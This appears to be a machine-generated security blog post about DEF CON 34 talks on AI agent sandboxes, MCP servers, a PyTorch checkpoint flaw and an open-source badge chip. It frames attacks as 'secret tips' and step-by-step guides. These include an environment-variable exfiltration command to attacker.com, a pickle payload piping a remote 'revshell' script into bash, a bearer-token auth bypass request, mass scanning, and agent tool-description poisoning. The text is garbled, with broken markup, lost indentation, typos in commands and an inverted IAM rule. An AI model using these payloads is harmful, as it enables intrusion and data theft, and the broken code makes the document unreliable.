DEF CON 34: The Laboratory Where AI Agent Security Became A Formal Discipline And Hardware Trust Became Verifiable + Video

Introduction:

For more than three decades, DEF CON has evolved from a casual gathering of hackers in Las Vegas into the definitive barometer of digital security’s cutting edge. The 34th edition, held under the theme “Agency” — a deliberate nod to self-determination in an era of algorithmic manipulation and shrinking digital autonomy — reinforced the conference’s irreplaceable relevance to cybersecurity and technological innovation. This year, the conference transitioned from observing autonomous AI threats to formalizing them as a competitive discipline through the inaugural HalCTF, while simultaneously advancing hardware supply chain security with the Baochip-1x, the first production-scale open-source silicon chip designed for physical verification.

Learning Objectives & Secrets:

Objective 1: Master the Architecture of AI Agent Exploitation — Understand how structural design gaps in the Model Context Protocol (MCP), sandbox escapes, and authentication bypasses can be chained to achieve full cloud compromise from zero credentials. Learn to enumerate exposed MCP servers and assess their security posture using open-source scanning tools.
Objective 2 Secret Tip: Exploit the “Sandbox Is a Suggestion” Vulnerability — Major coding agent sandboxes — Claude Code, Gemini CLI, and Codex CLI — are fundamentally broken. The Gemini CLI pre-task remote code execution vulnerability (GHSA-wpqr-6v78-jr5g) scored a CVSS 10.0. Secret: Test your agent containment by attempting pre-task command injection before the sandbox initializes — many implementations fail to sanitize environment variables passed from the parent process.
Objective 3 Secret Tip: Weaponize the Shared GPU Attack Surface — HalCTF’s shared Google Cloud GPU cluster was explicitly flagged as an unexamined attack surface. Secret: In multi-tenant AI environments, inspect for residual model weights, unencrypted inference caches, and side-channel leakage between containers sharing the same GPU. Use `nvidia-smi` to enumerate GPU processes and identify co-tenant workloads.

You Should Know:

Deconstructing AI Agent Sandboxes: From Containment to Compromise

Elad Meged of Novee Security demonstrated that major coding agent sandboxes rely on structural assumptions that the runtime can violate. The attack chains break through permission logic by exploiting trust failures at the implementation level. To evaluate your AI-agent containment:

Step‑by‑step guide — Testing Agent Sandbox Escape:

Linux (Kali/Ubuntu):

 1. Enumerate the agent's runtime environment
ps aux | grep -E "claude|gemini|codex"
ls -la /proc/$(pgrep -f "claude")/fd/

<ol>
<li>Test for pre-task command injection via environment variables
export MALICIOUS="; curl -s http://attacker.com/exfil?data=$(whoami)"
Run the agent and observe if the injected command executes pre-sandbox</p></li>
<li><p>Check for writable directories outside the sandbox
find / -type d -writable 2>/dev/null | grep -v -E "proc|sys|dev"

Windows (PowerShell as Administrator):

 1. Enumerate agent processes
Get-Process | Where-Object {$_.ProcessName -match "claude|gemini|codex"}

<ol>
<li>Check for sandbox bypass via symbolic links
New-Item -ItemType SymbolicLink -Path "C:\sandbox\link" -Target "C:\Windows\System32\cmd.exe"
If the agent follows the link, containment is broken</p></li>
<li><p>Test for UNC path injection
$env:AGENT_CONFIG = "\attacker.com\share\malicious.config"

Mitigation: Implement strict egress filtering, use seccomp profiles for containerized agents, and validate all environment variables before agent initialization.

MCP Authentication Bypass and the Single Point of Failure

Yaara Shriki of Wiz and Google presented “OffGuard,” exposing LiteLLM — deployed in roughly one-third of cloud environments — as a single point of failure. An authentication bypass using a junk bearer token (Authorization: Bearer a) grants a valid session, followed by authenticated code injection leading to root RCE and SSRF that defeats IMDSv2. Nearly one in ten instances accepted default credentials or required no authentication.

Step‑by‑step guide — Testing LiteLLM and MCP Security:

 1. Scan for exposed MCP servers (using nmap and custom scripts)
nmap -p 8000-9000 --open -sV --script http-title <target-1etwork>

<ol>
<li>Test for MCP authentication bypass
curl -X POST http://<target-liteLLM>:4000/chat/completions \
-H "Authorization: Bearer a" \
-H "Content-Type: application/json" \
-d '{"model":"gpt-4","messages":[{"role":"user","content":"test"}]}'
If a valid response is received, the bypass is present</p></li>
<li><p>Enumerate exposed MCP servers (mass scanning)
for ip in $(seq 1 254); do
curl -s --connect-timeout 2 http://192.168.1.$ip:8000/sse &
done

Python script for MCP server enumeration:

import requests
import json

def test_mcp_server(host, port=8000):
try:
 Test SSE endpoint
r = requests.get(f"http://{host}:{port}/sse", timeout=3)
if r.status_code == 200:
print(f"[+] MCP server found: {host}:{port}")
 Test for auth bypass
r2 = requests.post(
f"http://{host}:{port}/tools/call",
json={"tool": "list"},
headers={"Authorization": "Bearer a"}
)
if r2.status_code == 200:
print(f"[!] Auth bypass confirmed: {host}:{port}")
except:
pass

Mitigation: Enforce strict authentication, rotate credentials, use short-lived tokens, and implement network segmentation for MCP infrastructure.

The Hidden Cost of Agentic Connectivity: 19,000 MCP Servers Under Attack

David Fiser analyzed over 19,000 MCP servers, revealing that security features are trivially bypassable. Over forty MCP-related CVEs have been filed since January — roughly one every four days. Authentication gaps in registered MCP servers raise doubts about whether tools like `mcp-scan` can keep pace with the exposure.

Step‑by‑step guide — Securing MCP Deployments:

Linux:

 1. Install and run mcp-scan for vulnerability assessment
git clone https://github.com/vulnerable-mcp-project/mcp-scan
cd mcp-scan
python3 -m venv venv && source venv/bin/activate
pip install -r requirements.txt
python3 mcp-scan.py --target <mcp-server-url> --verbose

<ol>
<li>Monitor MCP CVE feed in real-time
curl -s https://cve.circl.lu/api/last | jq '.[] | select(.id | contains("CVE")) | {id, summary}'</p></li>
<li><p>Harden MCP server configuration
In your MCP server config file, enforce:</p></li>
</ol>

<p>- TLS 1.3 only
 - Mutual TLS authentication
 - Rate limiting (100 requests/minute)
 - Request validation against OWASP MCP Top 10

Docker Compose security template for MCP:

version: '3.8'
services:
mcp-server:
image: your-mcp-server:latest
environment:
- MCP_AUTH_REQUIRED=true
- MCP_TOKEN_EXPIRY=3600
- MCP_RATE_LIMIT=100
security_opt:
- no-1ew-privileges:true
cap_drop:
- ALL
read_only: true
tmpfs:
- /tmp:size=100M,uid=1000

Mitigation: Implement OWASP MCP Top 10 controls — prioritize token mismanagement (MCP01), tool poisoning (MCP03), and command injection prevention (MCP05).

4. PyTorch CVE-2026-24747: Weaponizing Model Checkpoints

Ji’an Zhou and Lei Lu identified CVE-2026-24747, a PyTorch `weights_only` bypass that allowed remote compromise of vLLM. Prior to version 2.10.0, an attacker could craft a malicious checkpoint file (.pth) that, when loaded with torch.load(..., weights_only=True), leads to memory corruption and arbitrary code execution.

Step‑by‑step guide — Testing and Mitigating PyTorch Checkpoint Vulnerabilities:

 Exploit demonstration (educational use only)
import torch
import pickle
import os

class MaliciousPayload:
def <strong>reduce</strong>(self):
return (os.system, ("curl -s http://attacker.com/revshell | bash",))

Craft malicious checkpoint
malicious_data = {
'model_state': torch.randn(10, 10),
'<strong>class</strong>': MaliciousPayload
}

Save and load (vulnerable versions < 2.10.0)
torch.save(malicious_data, 'malicious.pth')
 The following loads and executes the payload:
 model = torch.load('malicious.pth', weights_only=True)  Bypassed in <2.10.0

Detection and mitigation:

 1. Check PyTorch version
python3 -c "import torch; print(torch.<strong>version</strong>)"

<ol>
<li>Update to patched version
pip install torch>=2.10.0</p></li>
<li><p>Scan for suspicious .pth files
find / -1ame ".pth" -exec sha256sum {} \; 2>/dev/null | tee checkpoint_hashes.txt</p></li>
<li><p>Implement checkpoint verification before loading
python3 -c "
import hashlib
import torch
def verify_checkpoint(path, expected_hash):
with open(path, 'rb') as f:
if hashlib.sha256(f.read()).hexdigest() != expected_hash:
raise ValueError('Checkpoint integrity check failed')
return torch.load(path, weights_only=True, map_location='cpu')
"

Mitigation: Upgrade to PyTorch ≥2.10.0, implement cryptographic hash verification for all model checkpoints, and use `safetensors` format as an alternative to pickle-based serialization.

5. Hardware Supply Chain Security: The Baochip-1x Revolution

The DEF CON 34 badge features the Baochip-1x, a 22nm open-source RISC-V system-on-chip designed by Andrew “bunnie” Huang. The chip is engineered for Infra-Red In-Situ (IRIS) inspection, letting 30,000-plus attendees non-destructively verify its internal structure against published RTL using a $180 infrared camera modification. The RTL source code is publicly available on GitHub under the CERN Open Hardware License 2.0.

Step‑by‑step guide — Verifying Baochip-1x Integrity:

Hardware verification procedure:

 1. Clone the Baochip-1x RTL repository
git clone https://github.com/bunnie/baochip-1x
cd baochip-1x

<ol>
<li>Install open-source hardware verification tools
Requires: Yosys, nextpnr, and OpenROAD
sudo apt-get install yosys nextpnr-riscv openroad</p></li>
<li><p>Synthesize the RTL to generate a reference netlist
yosys -p "read_verilog rtl/.v; synth -top baochip_top; write_json baochip_ref.json"</p></li>
<li><p>Compare against the physical chip using IRIS inspection
The IRIS technique uses infrared light to visualize transistor patterns
through the chip's specialized packaging

Software verification (MicroPython on Baochip):

 MicroPython preliminary port for Baochip-1x
 https://github.com/micropython/micropython/discussions/19580

from machine import Pin, SPI
import ubinascii

Read chip ID and verify against expected value
chip_id = ubinascii.hexlify(machine.unique_id()).decode()
print(f"Baochip-1x ID: {chip_id}")

Verify cryptographic engine integrity
from crypto import sha256
expected_hash = bytes.fromhex("..." )  Retrieved from signed manifest
computed_hash = sha256(b"trusted_boot_anchor").digest()
assert computed_hash == expected_hash, "Integrity check failed"

Mitigation: Adopt open-source, verifiable hardware for high-assurance applications. Implement IRIS inspection as part of supply chain due diligence. Prefer hardware with publicly auditable RTL over closed-source alternatives.

6. Cross-Agent Privilege Escalation: The New Attack Vector

Muskan Tomar’s research on cross-agent privilege escalation introduced a new threat: the manipulation of trust between agents. By poisoning tool descriptions that read like routine compliance guidance, an attacker can trick an agent built on LangChain or Claude Code into escalating the privileges of a separate agent running in a different environment — all through authorized IAM calls.

Step‑by‑step guide — Detecting Cross-Agent Trust Failures:

 Tool poisoning detection script
import json
import re

def scan_tool_descriptions(tools_json_path):
with open(tools_json_path, 'r') as f:
tools = json.load(f)

suspicious_patterns = [
r'update.permission',
r'escalate.privilege',
r'modify.role',
r'grant.access',
r'bypass.security'
]

for tool in tools:
desc = tool.get('description', '').lower()
for pattern in suspicious_patterns:
if re.search(pattern, desc):
print(f"[!] Suspicious tool description: {tool['name']}")
print(f" {desc[:100]}...")
print(f" Pattern matched: {pattern}")

Run against your agent's tool manifest
scan_tool_descriptions('agent_tools.json')

IAM policy hardening for multi-agent systems:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Action": "iam:PassRole",
"Resource": "",
"Condition": {
"StringEquals": {
"iam:PassedToService": "lambda.amazonaws.com"
},
"Bool": {
"aws:MultiFactorAuthPresent": "true"
}
}
},
{
"Effect": "Deny",
"Action": "iam:CreateAccessKey",
"Resource": "",
"Condition": {
"NumericLessThan": {
"aws:MultiFactorAuthAge": "3600"
}
}
}
]
}

Mitigation: Implement tool description scanning, enforce least-privilege IAM roles, require MFA for privilege escalation actions, and audit cross-agent communication channels.

The Autonomous CTF Era: HalCTF and the SageCTF Breakthrough

HalCTF, the first fully autonomous-only capture the flag competition, required participants to build OCI Docker containers (max 2.5GB) that autonomously exploit sandboxed targets. The competition used Dynamic Decay Scoring, where challenge value decreases as more teams solve it, incentivizing speed and novel exploit paths. Meanwhile, the SageCTF autonomous system recovered 8 flags in the DEF CON CTF qualifier, finishing in the top 5 percent of all scored teams.

Step‑by‑step guide — Building an Autonomous CTF Agent:

 Dockerfile for HalCTF-compliant agent
FROM python:3.11-slim

Set resource limits (max 2.5GB container)
ENV CONTAINER_MAX_SIZE=2500M

Install dependencies
RUN pip install --1o-cache-dir \
pwntools \
requests \
beautifulsoup4 \
selenium \
paramiko

Copy agent code
COPY agent.py /app/
COPY exploits/ /app/exploits/

Runtime configuration
WORKDIR /app
CMD ["python3", "agent.py", "--target", "$TARGET_URL", "--model-service", "$MODEL_SERVICE"]

Agent logic skeleton:

 agent.py - Autonomous exploitation agent
import requests
import json
import time
from exploits import web_exploits, binary_exploits, crypto_exploits

class AutonomousAgent:
def <strong>init</strong>(self, target_url, model_service):
self.target = target_url
self.model = model_service
self.flags = []
self.exploit_chain = []

def enumerate_target(self):
"""Autonomous target enumeration using AI model"""
response = requests.post(
f"{self.model}/analyze",
json={"target": self.target, "task": "enumerate"}
)
return response.json().get('attack_surface', [])

def exploit(self, vulnerability_type):
"""Autonomous exploit selection and execution"""
exploit_map = {
'web': web_exploits.run,
'binary': binary_exploits.run,
'crypto': crypto_exploits.run
}
return exploit_map.get(vulnerability_type, lambda x: None)(self.target)

def run(self):
"""Main autonomous loop"""
while len(self.flags) < 10:
surface = self.enumerate_target()
for vuln in surface:
result = self.exploit(vuln['type'])
if result and 'flag' in result:
self.flags.append(result['flag'])
print(f"[+] Flag captured: {result['flag']}")
time.sleep(5)

if <strong>name</strong> == "<strong>main</strong>":
agent = AutonomousAgent(
target_url=os.environ.get('TARGET_URL'),
model_service=os.environ.get('MODEL_SERVICE')
)
agent.run()

What Undercode Say:

Key Takeaway 1: DEF CON 34 proved that AI agent security is no longer a theoretical concern — it is a formal discipline being practiced in real time. The vulnerabilities demonstrated are not bugs to be patched but structural features of the current agentic architecture. Enterprises deploying AI agents must assume their sandboxes are suggestions, not guarantees, and implement defense-in-depth accordingly.
Key Takeaway 2: The Baochip-1x represents a paradigm shift in hardware trust. For the first time, 30,000 individuals can physically verify that their silicon matches its published design. This moves hardware security from vendor faith to empirical verification — a model that must scale beyond conference badges to critical infrastructure.

The formalization of autonomous AI security at HalCTF, combined with the revelation that MCP infrastructure is fundamentally porous, signals that the industry must shift from reactive patching to architectural redesign. The same technology that threat actors weaponize — autonomous exploitation capabilities — is now being formalized into the vulnerability disclosure infrastructure. Enterprises must treat agentic systems as untrusted by default, implement rigorous tool-call validation, monitor MCP CVE feeds in real-time, and demand verifiable hardware for high-assurance applications. The era of “security by isolation” has been exposed as a suggestion, not a guarantee.

Prediction:

+N P: The formalization of autonomous AI security competitions like HalCTF will accelerate the development of robust defensive frameworks, pushing the industry toward standardized agent security testing and certification.

-1: The proliferation of exposed MCP servers and the systemic vulnerabilities in AI agent infrastructure will lead to a wave of high-profile breaches in 2027, targeting organizations that rushed to deploy agentic systems without adequate security controls.

+N P: Open-source, verifiable hardware like Baochip-1x will gain traction beyond the hacker community, with enterprise hardware security modules and critical infrastructure components adopting similar transparency models.

-1: The weaponization of AI models for autonomous offensive operations — already documented with the DeepSeek threat actor targeting over 460 systems — will escalate, with nation-state actors deploying agentic malware that autonomously discovers and exploits vulnerabilities without human direction.

+N P: The OWASP MCP Top 10 and similar frameworks will mature into de facto industry standards, providing defenders with actionable guidance to secure agentic systems.

▶️ Related Video (72% Match):

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/eGz7pqx9 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post